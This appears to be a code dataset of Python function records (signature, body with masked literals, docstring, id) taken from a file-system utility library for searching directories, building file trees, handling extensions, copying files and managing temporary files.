{"signature": "def check_file_exists(filepath):", "body": "if not op.exists(filepath):<EOL><INDENT>raise IOError('<STR_LIT>'.format(filepath))<EOL><DEDENT>", "docstring": "Check if the file path exists, if not raise IOError", "id": "f4057:m0"}
{"signature": "def dir_search(regex, wd=os.curdir):", "body": "ls = os.listdir(wd)<EOL>filt = re.compile(regex).search<EOL>return filter_list(ls, filt)<EOL>", "docstring": "@param regex: string\n@param wd: string\n working directory\n@return:", "id": "f4057:m1"}
{"signature": "def dir_match(regex, wd=os.curdir):", "body": "ls = os.listdir(wd)<EOL>filt = re.compile(regex).match<EOL>return filter_list(ls, filt)<EOL>", "docstring": "Create a list of regex matches that result from the match_regex\n    of all file names within wd.\n    The list of files will have wd as path prefix.\n\n    @param regex: string\n    @param wd: string\n    working directory\n    @return:", "id": "f4057:m2"}
{"signature": "def recursive_dir_match(folder_path, regex='<STR_LIT>'):", "body": "outlist = []<EOL>for root, dirs, files in os.walk(folder_path):<EOL><INDENT>outlist.extend([op.join(root, f) for f in dirs<EOL>if re.match(regex, f)])<EOL><DEDENT>return outlist<EOL>", "docstring": "Returns absolute paths of folders that match the regex within folder_path and\nall its children folders.\n\nNote: The regex matching is done using the match function\nof the re module.\n\nParameters\n----------\nfolder_path: string\n\nregex: string\n\nReturns\n-------\nA list of strings.", "id": "f4057:m3"}
{"signature": "def get_file_list(file_dir, regex='<STR_LIT>'):", "body": "file_list = os.listdir(file_dir)<EOL>file_list.sort()<EOL>if regex:<EOL><INDENT>file_list = search_list(file_list, regex)<EOL><DEDENT>file_list = [op.join(file_dir, fname) for fname in file_list]<EOL>return file_list<EOL>", "docstring": "Creates a list of files that match the search_regex within file_dir.\nThe list of files will have file_dir as path prefix.\n\nParameters\n----------\n@param file_dir:\n\n@param search_regex:\n\nReturns:\n--------\nList of paths to files that match the search_regex", "id": "f4057:m4"}
{"signature": "def recursive_find(folder_path, regex='<STR_LIT>'):", "body": "return recursive_find_search(folder_path, regex)<EOL>", "docstring": "Returns absolute paths of files that match the regex within file_dir and\nall its children folders.\n\nNote: The regex matching is done using the search function\nof the re module.\n\nParameters\n----------\nfolder_path: string\n\nregex: string\n\nReturns\n-------\nA list of strings.", "id": "f4057:m5"}
{"signature": "def recursive_find_match(folder_path, regex='<STR_LIT>'):", "body": "outlist = []<EOL>for root, dirs, files in os.walk(folder_path):<EOL><INDENT>outlist.extend([op.join(root, f) for f in files<EOL>if re.match(regex, f)])<EOL><DEDENT>return outlist<EOL>", "docstring": "Returns absolute paths of files that match the regex within folder_path and\nall its children folders.\n\nNote: The regex matching is done using the match function\nof the re module.\n\nParameters\n----------\nfolder_path: string\n\nregex: string\n\nReturns\n-------\nA list of strings.", "id": "f4057:m6"}
{"signature": "def recursive_find_search(folder_path, regex='<STR_LIT>'):", "body": "outlist = []<EOL>for root, dirs, files in os.walk(folder_path):<EOL><INDENT>outlist.extend([op.join(root, f) for f in files<EOL>if re.search(regex, f)])<EOL><DEDENT>return outlist<EOL>", "docstring": "Returns absolute paths of files that match the regex within file_dir and\nall its children folders.\n\nNote: The regex matching is done using the search function\nof the re module.\n\nParameters\n----------\nfolder_path: string\n\nregex: string\n\nReturns\n-------\nA list of strings.", "id": "f4057:m7"}
{"signature": "def iter_recursive_find(folder_path, *regex):", "body": "for root, dirs, files in os.walk(folder_path):<EOL><INDENT>if len(files) > <NUM_LIT:0>:<EOL><INDENT>outlist = []<EOL>for f in files:<EOL><INDENT>for reg in regex:<EOL><INDENT>if re.search(reg, f):<EOL><INDENT>outlist.append(op.join(root, f))<EOL><DEDENT><DEDENT><DEDENT>if len(outlist) == len(regex):<EOL><INDENT>yield outlist<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Returns absolute paths of files that match the regexs within folder_path and\nall its children folders.\n\nThis is an iterator function that will use yield to return each set of\nfile_paths in one iteration.\n\nWill only return value if all the strings in regex match a file name.\n\nNote: The regex matching is done using the search function\nof the re module.\n\nParameters\n----------\nfolder_path: string\n\nregex: strings\n\nReturns\n-------\nA list of strings.", "id": "f4057:m8"}
{"signature": "def get_all_files(folder):", "body": "for path, dirlist, filelist in os.walk(folder):<EOL><INDENT>for fn in filelist:<EOL><INDENT>yield op.join(path, fn)<EOL><DEDENT><DEDENT>", "docstring": "Generator that loops through all absolute paths of the files within folder\n\nParameters\n----------\nfolder: str\nRoot folder start point for recursive search.\n\nYields\n------\nfpath: str\nAbsolute path of one file in the folders", "id": "f4057:m9"}
{"signature": "def find_match(base_directory, regex='<STR_LIT>'):", "body": "return glob(op.join(base_directory, regex))<EOL>", "docstring": "Uses glob to find all files that match the regex\nin base_directory.\n\n@param base_directory: string\n\n@param regex: string\n\n@return: set", "id": "f4057:m10"}
{"signature": "def recursive_glob(base_directory, regex='<STR_LIT>'):", "body": "files = glob(op.join(base_directory, regex))<EOL>for path, dirlist, filelist in os.walk(base_directory):<EOL><INDENT>for dir_name in dirlist:<EOL><INDENT>files.extend(glob(op.join(path, dir_name, regex)))<EOL><DEDENT><DEDENT>return files<EOL>", "docstring": "Uses glob to find all files or folders that match the regex\nstarting from the base_directory.\n\nParameters\n----------\nbase_directory: str\n\nregex: str\n\nReturns\n-------\nfiles: list", "id": "f4057:m11"}
{"signature": "def get_last_file(input_dir, glob_pattern='<STR_LIT:*>', key=op.getctime, reverse=True):", "body": "files = glob(op.join(input_dir, glob_pattern))<EOL>files.sort(key=key, reverse=reverse)<EOL>return files[<NUM_LIT:0>]<EOL>", "docstring": "Return the path to the latest file in `input_dir`.\n     The `key` argument defines which information to use for sorting\n     the list of files, could be:\n        - creation date: os.path.getctime,\n        - modification date: os.path.getmtime,\n        etc.\n\n    Parameters\n    ----------\n    input_dir: str\n        Path to the folder where to perform the `glob`.\n\n    glob_pattern: str\n        `glob` Pattern to filter the files in `input_dir`.\n\n    key: str\n        Sorting key function\n\n    reverse: bool\n        Set to True if you want the sorting to be in decreasing order,\n        False otherwise.\n\n    Returns\n    -------\n    latest_filepath: str\n        Path to the latest modified file in `input_dir`.", "id": "f4057:m14"}
{"signature": "def get_last_modified_file(input_dir, glob_pattern='<STR_LIT:*>'):", "body": "return get_last_file(input_dir, glob_pattern, key=op.getmtime)<EOL>", "docstring": "Return the path to the last modified (using `os.path.getmtime`) file in `input_dir`.\n    See `get_last_file` docstring for description of the parameters.", "id": "f4057:m15"}
{"signature": "def get_last_created_file(input_dir, glob_pattern='<STR_LIT:*>'):", "body": "return get_last_file(input_dir, glob_pattern, key=op.getctime)<EOL>", "docstring": "Return the path to the last created file in `input_dir`.\n    See `get_last_file` docstring for description of the parameters.", "id": "f4057:m16"}
{"signature": "def filter_list(lst, pattern):", "body": "if is_fnmatch_regex(pattern) and not is_regex(pattern):<EOL><INDENT>log.info('<STR_LIT>'.format(pattern))<EOL>filst = fnmatch.filter(lst, pattern)<EOL><DEDENT>else:<EOL><INDENT>log.info('<STR_LIT>'.format(pattern))<EOL>filst = match_list(lst, pattern)<EOL><DEDENT>if filst:<EOL><INDENT>filst.sort()<EOL><DEDENT>return filst<EOL>", "docstring": "Filters the lst using pattern.\nIf pattern starts with '(' it will be considered a re regular expression,\notherwise it will use fnmatch filter.\n\n:param lst: list of strings\n\n:param pattern: string\n\n:return: list of strings\nFiltered list of strings", "id": "f4058:m0"}
{"signature": "def remove_hidden_files(file_lst):", "body": "return [fnom for fnom in file_lst if not fnom.startswith('<STR_LIT:.>')]<EOL>", "docstring": "Removes the filenames that start with '.'\n\n:param file_lst: list of strings\n\n:return: list of strings", "id": "f4058:m1"}
{"signature": "def get_subdict(adict, path, sep=os.sep):", "body": "return reduce(adict.__class__.get, [p for p in op.split(sep) if p], adict)<EOL>", "docstring": "Given a nested dictionary adict.\nThis returns its childen just below the path.\nThe path is a string composed of adict keys separated by sep.\n\n:param adict: nested dict\n\n:param path: str\n\n:param sep: str\n\n:return: dict or list or leaf of treemap", "id": "f4058:m2"}
{"signature": "def get_dict_leaves(data):", "body": "result = []<EOL>if isinstance(data, dict):<EOL><INDENT>for item in data.values():<EOL><INDENT>result.extend(get_dict_leaves(item))<EOL><DEDENT><DEDENT>elif isinstance(data, list):<EOL><INDENT>result.extend(data)<EOL><DEDENT>else:<EOL><INDENT>result.append(data)<EOL><DEDENT>return result<EOL>", "docstring": "Given a nested dictionary, this returns all its leave elements in a list.\n\n:param adict:\n\n:return: list", "id": "f4058:m4"}
{"signature": "def get_possible_paths(base_path, path_regex):", "body": "if not path_regex:<EOL><INDENT>return []<EOL><DEDENT>if len(path_regex) < <NUM_LIT:1>:<EOL><INDENT>return []<EOL><DEDENT>if path_regex[<NUM_LIT:0>] == os.sep:<EOL><INDENT>path_regex = path_regex[<NUM_LIT:1>:]<EOL><DEDENT>rest_files = '<STR_LIT>'<EOL>if os.sep in path_regex:<EOL><INDENT>node_names = path_regex.partition(os.sep)<EOL>first_node = node_names[<NUM_LIT:0>]<EOL>rest_nodes = node_names[<NUM_LIT:2>]<EOL>folder_names = filter_list(os.listdir(base_path), first_node)<EOL>for nom in folder_names:<EOL><INDENT>new_base = op.join(base_path, nom)<EOL>if op.isdir(new_base):<EOL><INDENT>rest_files = get_possible_paths(new_base, rest_nodes)<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>rest_files = filter_list(os.listdir(base_path), path_regex)<EOL><DEDENT>files = []<EOL>if rest_files:<EOL><INDENT>files = [op.join(base_path, f) for f in rest_files]<EOL><DEDENT>return files<EOL>", "docstring": "Looks for path_regex within base_path. Each match is append\nin the returned list.\npath_regex may contain subfolder structure.\nIf any part of the folder structure is a\n\n:param base_path: str\n\n:param path_regex: str\n\n:return list of strings", "id": "f4058:m5"}
{"signature": "def process_tuple_node(basepath, treemap, ignore_hidden=True):", "body": "if not isinstance(treemap, tuple):<EOL><INDENT>raise FileTreeMapError(log, '<STR_LIT>')<EOL><DEDENT>if len(treemap) != <NUM_LIT:2>:<EOL><INDENT>raise FileTreeMapError(log, '<STR_LIT>')<EOL><DEDENT>file_nodes = OrderedDict()<EOL>file_lst = os.listdir(basepath)<EOL>if ignore_hidden:<EOL><INDENT>file_lst = remove_hidden_files(file_lst)<EOL><DEDENT>children_names = filter_list(file_lst, treemap[<NUM_LIT:0>])<EOL>child_map = treemap[<NUM_LIT:1>]<EOL>if len(children_names) == <NUM_LIT:1>:<EOL><INDENT>file_nodes.update(populate_subtree(op.join(basepath, children_names[<NUM_LIT:0>]),<EOL>child_map))<EOL><DEDENT>else:<EOL><INDENT>for cname in children_names:<EOL><INDENT>child_basepath = op.join(basepath, cname)<EOL>if op.isdir(child_basepath):<EOL><INDENT>subtrs = populate_subtree(child_basepath,<EOL>child_map)<EOL><DEDENT>else:<EOL><INDENT>subtrs = child_basepath<EOL><DEDENT>if subtrs:<EOL><INDENT>file_nodes[cname] = subtrs<EOL><DEDENT><DEDENT><DEDENT>return file_nodes<EOL>", "docstring": ":param basepath:\n\n:param treemap: 2-tuple\n\n:param rootkey:\n\n:return:", "id": "f4058:m6"}
{"signature": "def populate_subtree(basepath, treemap, verbose=False):", "body": "file_nodes = OrderedDict()<EOL>if isinstance(treemap, tuple):<EOL><INDENT>try:<EOL><INDENT>file_nodes = process_tuple_node(basepath, treemap)<EOL><DEDENT>except:<EOL><INDENT>raise FileTreeMapError('<STR_LIT>'<EOL>'<STR_LIT>'.format(basepath, treemap))<EOL><DEDENT><DEDENT>if isinstance(treemap, list):<EOL><INDENT>for node in treemap:<EOL><INDENT>try:<EOL><INDENT>file_nodes.update(process_tuple_node(basepath, node))<EOL><DEDENT>except:<EOL><INDENT>raise FileTreeMapError('<STR_LIT>'<EOL>'<STR_LIT>'.format(basepath, node))<EOL><DEDENT><DEDENT><DEDENT>elif isinstance(treemap, dict):<EOL><INDENT>for k in treemap.keys():<EOL><INDENT>cname = k<EOL>child_map = treemap[k]<EOL>if isinstance(child_map, tuple) or isinstance(child_map, dict):<EOL><INDENT>try:<EOL><INDENT>file_nodes[cname] = populate_subtree(basepath, child_map)<EOL><DEDENT>except:<EOL><INDENT>raise FileTreeMapError('<STR_LIT>'<EOL>'<STR_LIT>'.format(basepath,<EOL>child_map))<EOL><DEDENT><DEDENT>elif isinstance(child_map, str):<EOL><INDENT>if child_map[<NUM_LIT:0>] == os.sep:<EOL><INDENT>raise FileTreeMapError('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'.format(str(child_map),<EOL>os.sep))<EOL><DEDENT>subpaths = get_possible_paths(basepath, child_map)<EOL>if subpaths:<EOL><INDENT>file_nodes[cname] = subpaths<EOL><DEDENT><DEDENT><DEDENT><DEDENT>if verbose:<EOL><INDENT>log.info('<STR_LIT>'.format(basepath, file_nodes.keys()))<EOL><DEDENT>return file_nodes<EOL>", "docstring": ":param path: str\n\n:param treemap: dict\n\n:return: dict", "id": "f4058:m7"}
{"signature": "def __init__(self):", "body": "self._filetree = {}<EOL>self._treemap = {}<EOL>self._basepath = '<STR_LIT>'<EOL>self._ignore_regexes = []<EOL>", "docstring": ":return:", "id": "f4058:c1:m0"}
{"signature": "def __str__(self):", "body": "return '<STR_LIT>'.format(self._basepath,<EOL>self._filetree)<EOL>", "docstring": ":return:", "id": "f4058:c1:m1"}
{"signature": "def from_config_file(self, config_file, verbose=False):", "body": "assert(op.isfile(config_file))<EOL>self.__init__()<EOL>try:<EOL><INDENT>self._basepath, self._treemap = self._import_config(config_file)<EOL>self.update(verbose)<EOL><DEDENT>except Exception as exc:<EOL><INDENT>raise EnvironmentError('<STR_LIT>'.format(config_file)) from exc<EOL><DEDENT>", "docstring": ":param config_file: str\n Path to a configuration file.\n This file must declare a root_path and a filetree regex tree.\n\n:param verbose: bool", "id": "f4058:c1:m2"}
{"signature": "def from_dict(self, root_path, filetree, verbose=False):", "body": "self.__init__()<EOL>self._basepath = root_path<EOL>self._treemap = filetree<EOL>self.update(verbose)<EOL>", "docstring": ":param root_path: string\n:param filetree: dict", "id": "f4058:c1:m3"}
{"signature": "@staticmethod<EOL><INDENT>def create_folder(dirpath, overwrite=False):<DEDENT>", "body": "if not overwrite:<EOL><INDENT>while op.exists(dirpath):<EOL><INDENT>dirpath += '<STR_LIT:+>'<EOL><DEDENT><DEDENT>os.makedirs(dirpath, exist_ok=overwrite)<EOL>return dirpath<EOL>", "docstring": "Will create dirpath folder. If dirpath already exists and overwrite is False,\n        will append a '+' suffix to dirpath until dirpath does not exist.", "id": "f4058:c1:m6"}
{"signature": "@staticmethod<EOL><INDENT>def _import_config(filepath):<DEDENT>", "body": "if not op.isfile(filepath):<EOL><INDENT>raise IOError('<STR_LIT>'<EOL>'<STR_LIT>'.format(filepath))<EOL><DEDENT>cfg = import_pyfile(filepath)<EOL>if not hasattr(cfg, '<STR_LIT>'):<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if not hasattr(cfg, '<STR_LIT>'):<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>return cfg.root_path, cfg.filetree<EOL>", "docstring": "Imports filetree and root_path variable values from the filepath.\n\n:param filepath:\n:return: root_path and filetree", "id": "f4058:c1:m7"}
{"signature": "def get_root_nodes(self):", "body": "return self._filetree.keys()<EOL>", "docstring": "Return a list of the names of the root nodes.", "id": "f4058:c1:m8"}
{"signature": "def get_node_filepaths(self, nodepath):", "body": "files = self.get_node(nodepath)<EOL>return get_dict_leaves(files)<EOL>", "docstring": "Returns all leaves in filetree.", "id": "f4058:c1:m10"}
{"signature": "def get_common_filepath(self, nodepath):", "body": "return commonprefix(self.get_node_filepaths(nodepath))<EOL>", "docstring": "Returns the common filepath between all leaves in the filetree.", "id": "f4058:c1:m11"}
{"signature": "def remove_nodes(self, pattern, adict):", "body": "mydict = self._filetree if adict is None else adict<EOL>if isinstance(mydict, dict):<EOL><INDENT>for nom in mydict.keys():<EOL><INDENT>if isinstance(mydict[nom], dict):<EOL><INDENT>matchs = filter_list(mydict[nom], pattern)<EOL>for nom in matchs:<EOL><INDENT>mydict = self.remove_nodes(pattern, mydict[nom])<EOL>mydict.pop(nom)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>mydict[nom] = filter_list(mydict[nom], pattern)<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>matchs = set(filter_list(mydict, pattern))<EOL>mydict = set(mydict) - matchs<EOL><DEDENT>return mydict<EOL>", "docstring": "Remove the nodes that match the pattern.", "id": "f4058:c1:m12"}
{"signature": "def count_node_match(self, pattern, adict=None):", "body": "mydict = self._filetree if adict is None else adict<EOL>k = <NUM_LIT:0><EOL>if isinstance(mydict, dict):<EOL><INDENT>names = mydict.keys()<EOL>k += len(filter_list(names, pattern))<EOL>for nom in names:<EOL><INDENT>k += self.count_node_match(pattern, mydict[nom])<EOL><DEDENT><DEDENT>else:<EOL><INDENT>k = len(filter_list(mydict, pattern))<EOL><DEDENT>return k<EOL>", "docstring": "Return the number of nodes that match the pattern.\n\n:param pattern:\n\n:param adict:\n:return: int", "id": "f4058:c1:m13"}
{"signature": "def __init__(self, config_map):", "body": "for key in config_map:<EOL><INDENT>if config_map[key] == '<STR_LIT:None>':<EOL><INDENT>config_map[key] = None<EOL><DEDENT>setattr(self, key, config_map[key])<EOL><DEDENT>", "docstring": ":param config_map: dict", "id": "f4059:c0:m0"}
{"signature": "def copy_w_ext(srcfile, destdir, basename):", "body": "ext = get_extension(op.basename(srcfile))<EOL>dstpath = op.join(destdir, basename + ext)<EOL>return copy_w_plus(srcfile, dstpath)<EOL>", "docstring": "Copy `srcfile` in `destdir` with name `basename + get_extension(srcfile)`.\n    Add pluses to the destination path basename if a file with the same name already\n    exists in `destdir`.\n\n    Parameters\n    ----------\n    srcfile: str\n\n    destdir: str\n\n    basename:str\n\n    Returns\n    -------\n    dstpath: str", "id": "f4060:m0"}
{"signature": "def copy_w_plus(src, dst):", "body": "dst_ext = get_extension(dst)<EOL>dst_pre = remove_ext   (dst)<EOL>while op.exists(dst_pre + dst_ext):<EOL><INDENT>dst_pre += '<STR_LIT:+>'<EOL><DEDENT>shutil.copy(src, dst_pre + dst_ext)<EOL>return dst_pre + dst_ext<EOL>", "docstring": "Copy file from `src` path to `dst` path. If `dst` already exists, will add '+' characters\n    to the end of the basename without extension.\n\n    Parameters\n    ----------\n    src: str\n\n    dst: str\n\n    Returns\n    -------\n    dstpath: str", "id": "f4060:m1"}
{"signature": "def get_abspath(folderpath):", "body": "if not op.exists(folderpath):<EOL><INDENT>raise FolderNotFound(folderpath)<EOL><DEDENT>return op.abspath(folderpath)<EOL>", "docstring": "Returns the absolute path of folderpath.\n    If the path does not exist, will raise IOError.", "id": "f4061:m0"}
{"signature": "def make_dir(dirpath):", "body": "if not op.exists(dirpath):<EOL><INDENT>os.mkdir(dirpath)<EOL><DEDENT>", "docstring": "Call os.mkdir only if `dirpath` does not exist.", "id": "f4061:m2"}
{"signature": "def get_extension(filepath, check_if_exists=False, allowed_exts=ALLOWED_EXTS):", "body": "if check_if_exists:<EOL><INDENT>if not op.exists(filepath):<EOL><INDENT>raise IOError('<STR_LIT>' + filepath)<EOL><DEDENT><DEDENT>rest, ext = op.splitext(filepath)<EOL>if ext in allowed_exts:<EOL><INDENT>alloweds = allowed_exts[ext]<EOL>_, ext2 = op.splitext(rest)<EOL>if ext2 in alloweds:<EOL><INDENT>ext = ext2 + ext<EOL><DEDENT><DEDENT>return ext<EOL>", "docstring": "Return the extension of fpath.\n\n    Parameters\n    ----------\n    fpath: string\n    File name or path\n\n    check_if_exists: bool\n\n    allowed_exts: dict\n    Dictionary of strings, where the key if the last part of a complex ('.' separated) extension\n    and the value is the previous part.\n    For example: for the '.nii.gz' extension I would have a dict as {'.gz': ['.nii',]}\n\n    Returns\n    -------\n    str\n    The extension of the file name or path", "id": "f4061:m3"}
{"signature": "def add_extension_if_needed(filepath, ext, check_if_exists=False):", "body": "if not filepath.endswith(ext):<EOL><INDENT>filepath += ext<EOL><DEDENT>if check_if_exists:<EOL><INDENT>if not op.exists(filepath):<EOL><INDENT>raise IOError('<STR_LIT>' + filepath)<EOL><DEDENT><DEDENT>return filepath<EOL>", "docstring": "Add the extension ext to fpath if it doesn't have it.\n\n    Parameters\n    ----------\n    filepath: str\n    File name or path\n\n    ext: str\n    File extension\n\n    check_if_exists: bool\n\n    Returns\n    -------\n    File name or path with extension added, if needed.", "id": "f4061:m4"}
{"signature": "def remove_ext(filepath):", "body": "return filepath[:filepath.rindex(get_extension(filepath))]<EOL>", "docstring": "Removes the extension of the file.\n\n    Parameters\n    ----------\n    filepath: str\n    File path or name\n\n    Returns\n    -------\n    str\n    File path or name without extension", "id": "f4061:m5"}
{"signature": "def write_lines(filepath, lines):", "body": "with open(filepath, '<STR_LIT:w>') as f:<EOL><INDENT>f.writelines(lines)<EOL><DEDENT>", "docstring": "Write the given lines to the file in filepath\n\n    Parameters\n    ----------\n    filepath: str\n\n    lines: list of str", "id": "f4061:m6"}
{"signature": "def grep_one(srch_str, filepath):", "body": "for line in open(filepath):<EOL><INDENT>if srch_str in line:<EOL><INDENT>return line<EOL><DEDENT><DEDENT>return None<EOL>", "docstring": "Return the first line in file defined by filepath\n    that contains srch_str\n\n    Parameters\n    ----------\n    srch_str: str\n\n    filepath: str\n\n    Returns\n    ----------\n    str", "id": "f4061:m7"}
{"signature": "def parse_subjects_list(filepath, datadir='<STR_LIT>', split='<STR_LIT::>', labelsf=None):", "body": "labels = []<EOL>subjs  = []<EOL>if datadir:<EOL><INDENT>datadir += op.sep<EOL><DEDENT>with open(filepath, '<STR_LIT:r>') as f:<EOL><INDENT>for s in f:<EOL><INDENT>line = s.strip().split(split)<EOL>if len(line) == <NUM_LIT:2>:<EOL><INDENT>labels.append(np.float(line[<NUM_LIT:1>]))<EOL>subjf = line[<NUM_LIT:0>].strip()<EOL><DEDENT>else:<EOL><INDENT>subjf = line.strip()<EOL><DEDENT>if not op.isabs(subjf):<EOL><INDENT>subjs.append(datadir + subjf)<EOL><DEDENT>else:<EOL><INDENT>subjs.append(subjf)<EOL><DEDENT><DEDENT><DEDENT>if labelsf is not None:<EOL><INDENT>labels = np.loadtxt(labelsf)<EOL><DEDENT>return [labels, subjs]<EOL>", "docstring": "Parses a file with a list of: <subject_file>:<subject_class_label>.\n\n    Parameters\n    ----------\n    filepath: str\n    Path to file with a list of: <subject_file>:<subject_class_label>.\n    Where ':' can be any split character\n\n    datadir: str\n    String to be path prefix of each line of the fname content,\n    only in case the lines are relative file paths.\n\n    split: str\n    Split character for each line\n\n    labelsf: str\n    Path to file with a list of the labels if it is not included in\n    fname. It will overwrite the labels from fname.\n\n    Returns\n    -------\n    [labels, subjs] where labels is a list of labels and subjs a list of\n    filepaths", "id": "f4061:m8"}
{"signature": "def create_subjects_file(filelist, labels, output_file, split='<STR_LIT::>'):", "body": "if len(filelist) != len(labels):<EOL><INDENT>raise ValueError('<STR_LIT>'<EOL>'<STR_LIT>'.format(len(filelist), len(labels)))<EOL><DEDENT>lines = []<EOL>for i, subj in enumerate(filelist):<EOL><INDENT>lab  = labels[i]<EOL>line = subj + split + str(lab)<EOL>lines.append(line)<EOL><DEDENT>lines = np.array(lines)<EOL>np.savetxt(output_file, lines, fmt='<STR_LIT:%s>')<EOL>", "docstring": "Creates a file where each line is <subject_file>:<subject_class_label>.\n\n    Parameters\n    ----------\n    filelist: list of str\n    List of filepaths\n\n    labels: list of int, str or labels that can be transformed with str()\n    List of labels\n\n    output_file: str\n    Output file path\n\n    split: str\n    Split character for each line", "id": "f4061:m9"}
{"signature": "def join_path_to_filelist(path, filelist):", "body": "return [op.join(path, str(item)) for item in filelist]<EOL>", "docstring": "Joins path to each line in filelist\n\n    Parameters\n    ----------\n    path: str\n\n    filelist: list of str\n\n    Returns\n    -------\n    list of filepaths", "id": "f4061:m10"}
{"signature": "def remove_all(filelist, folder='<STR_LIT>'):", "body": "if not folder:<EOL><INDENT>for f in filelist:<EOL><INDENT>os.remove(f)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>for f in filelist:<EOL><INDENT>os.remove(op.join(folder, f))<EOL><DEDENT><DEDENT>", "docstring": "Deletes all files in filelist\n\n    Parameters\n    ----------\n    filelist: list of str\n        List of the file paths to be removed\n\n    folder: str\n        Path to be used as common directory for all file paths in filelist", "id": "f4061:m11"}
{"signature": "def get_folder_subpath(path, folder_depth):", "body": "if path[<NUM_LIT:0>] == op.sep:<EOL><INDENT>folder_depth += <NUM_LIT:1><EOL><DEDENT>return op.sep.join(path.split(op.sep)[<NUM_LIT:0>:folder_depth])<EOL>", "docstring": "Returns a folder path of path with depth given by folder_dept:\n\nParameters\n----------\npath: str\n\nfolder_depth: int > 0\n\nReturns\n-------\nA folder path\n\nExample\n-------\n>>> get_folder_subpath('/home/user/mydoc/work/notes.txt', 3)\n>>> '/home/user/mydoc'", "id": "f4061:m12"}
{"signature": "def get_temp_file(dirpath=None, suffix='<STR_LIT>'):", "body": "return tempfile.NamedTemporaryFile(dir=dirpath, suffix=suffix)<EOL>", "docstring": "Uses tempfile to create a NamedTemporaryFile using\nthe default arguments.\n\nParameters\n----------\ndirpath: str\nDirectory where it must be created.\nIf dir is specified, the file will be created\nin that directory, otherwise, a default directory is used.\nThe default directory is chosen from a platform-dependent\nlist, but the user of the application can control the\ndirectory location by setting the TMPDIR, TEMP or TMP\nenvironment variables.\n\nsuffix: str\nFile name suffix.\nIt does not put a dot between the file name and the\nsuffix; if you need one, put it at the beginning of suffix.\n\nReturns\n-------\nfile object\n\nNote\n----\nPlease, close it once you have used the file.", "id": "f4061:m13"}
{"signature": "def get_temp_dir(prefix=None, basepath=None):", "body": "if basepath is None:<EOL><INDENT>return tempfile.TemporaryDirectory(dir=basepath)<EOL><DEDENT>else:<EOL><INDENT>return tempfile.TemporaryDirectory(prefix=prefix, dir=basepath)<EOL><DEDENT>", "docstring": "Uses tempfile to create a TemporaryDirectory using\nthe default arguments.\nThe folder is created using tempfile.mkdtemp() function.\n\nParameters\n----------\nprefix: str\nName prefix for the temporary folder.\n\nbasepath: str\nDirectory where the new folder must be created.\nThe default directory is chosen from a platform-dependent\nlist, but the user of the application can control the\ndirectory location by setting the TMPDIR, TEMP or TMP\nenvironment variables.\n\nReturns\n-------\nfolder object", "id": "f4061:m14"}
{"signature": "def ux_file_len(filepath):", "body": "p = subprocess.Popen(['<STR_LIT>', '<STR_LIT>', filepath], stdout=subprocess.PIPE,<EOL>stderr=subprocess.PIPE)<EOL>result, err = p.communicate()<EOL>if p.returncode != <NUM_LIT:0>:<EOL><INDENT>raise IOError(err)<EOL><DEDENT>l = result.strip()<EOL>l = int(l.split()[<NUM_LIT:0>])<EOL>return l<EOL>", "docstring": "Returns the length of the file using the 'wc' GNU command\n\n    Parameters\n    ----------\n    filepath: str\n\n    Returns\n    -------\n    float", "id": "f4061:m15"}
{"signature": "def count_lines(filepath):", "body": "statinfo = os.stat(filepath)<EOL>return statinfo.st_size<EOL>", "docstring": "Return the number of lines in file in filepath\n\n    Parameters\n    ----------\n    filepath: str\n\n    Returns\n    -------\n    int", "id": "f4061:m16"}
{"signature": "def file_size(filepath):", "body": "return op.getsize(filepath)<EOL>", "docstring": "Returns the length of the file\n\n    Parameters\n    ----------\n    filepath: str\n\n    Returns\n    -------\n    float", "id": "f4061:m17"}
{"signature": "def fileobj_size(file_obj):", "body": "file_obj.seek(<NUM_LIT:0>, os.SEEK_END)<EOL>return file_obj.tell()<EOL>", "docstring": "Returns the length of the size of the file\n\n    Parameters\n    ----------\n    file_obj: file-like object\n\n    Returns\n    -------\n    float", "id": "f4061:m18"}
{"signature": "def dictify(a_named_tuple):", "body": "return dict((s, getattr(a_named_tuple, s)) for s in a_named_tuple._fields)<EOL>", "docstring": "Transform a named tuple into a dictionary", "id": "f4062:m0"}
{"signature": "def merge_dict_of_lists(adict, indices, pop_later=True, copy=True):", "body": "def check_indices(idxs, x):<EOL><INDENT>for i in chain(*idxs):<EOL><INDENT>if i < <NUM_LIT:0> or i >= x:<EOL><INDENT>raise IndexError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT><DEDENT>check_indices(indices, len(adict))<EOL>rdict = adict.copy() if copy else adict<EOL>dict_keys = list(rdict.keys())<EOL>for i, j in zip(*indices):<EOL><INDENT>rdict[dict_keys[i]].extend(rdict[dict_keys[j]])<EOL><DEDENT>if pop_later:<EOL><INDENT>for i, j in zip(*indices):<EOL><INDENT>rdict.pop(dict_keys[j], '<STR_LIT>')<EOL><DEDENT><DEDENT>return rdict<EOL>", "docstring": "Extend the within a dict of lists. The indices will indicate which\n    list have to be extended by which other list.\n\n    Parameters\n    ----------\n    adict: OrderedDict\n        An ordered dictionary of lists\n\n    indices: list or tuple of 2 iterables of int, bot having the same length\n        The indices of the lists that have to be merged, both iterables items\n         will be read pair by pair, the first is the index to the list that\n         will be extended with the list of the second index.\n         The indices can be constructed with Numpy e.g.,\n         indices = np.where(square_matrix)\n\n    pop_later: bool\n        If True will oop out the lists that are indicated in the second\n         list of indices.\n\n    copy: bool\n        If True will perform a deep copy of the input adict before\n         modifying it, hence not changing the original input.\n\n    Returns\n    -------\n    Dictionary of lists\n\n    Raises\n    ------\n    IndexError\n        If the indices are out of range", "id": "f4062:m1"}
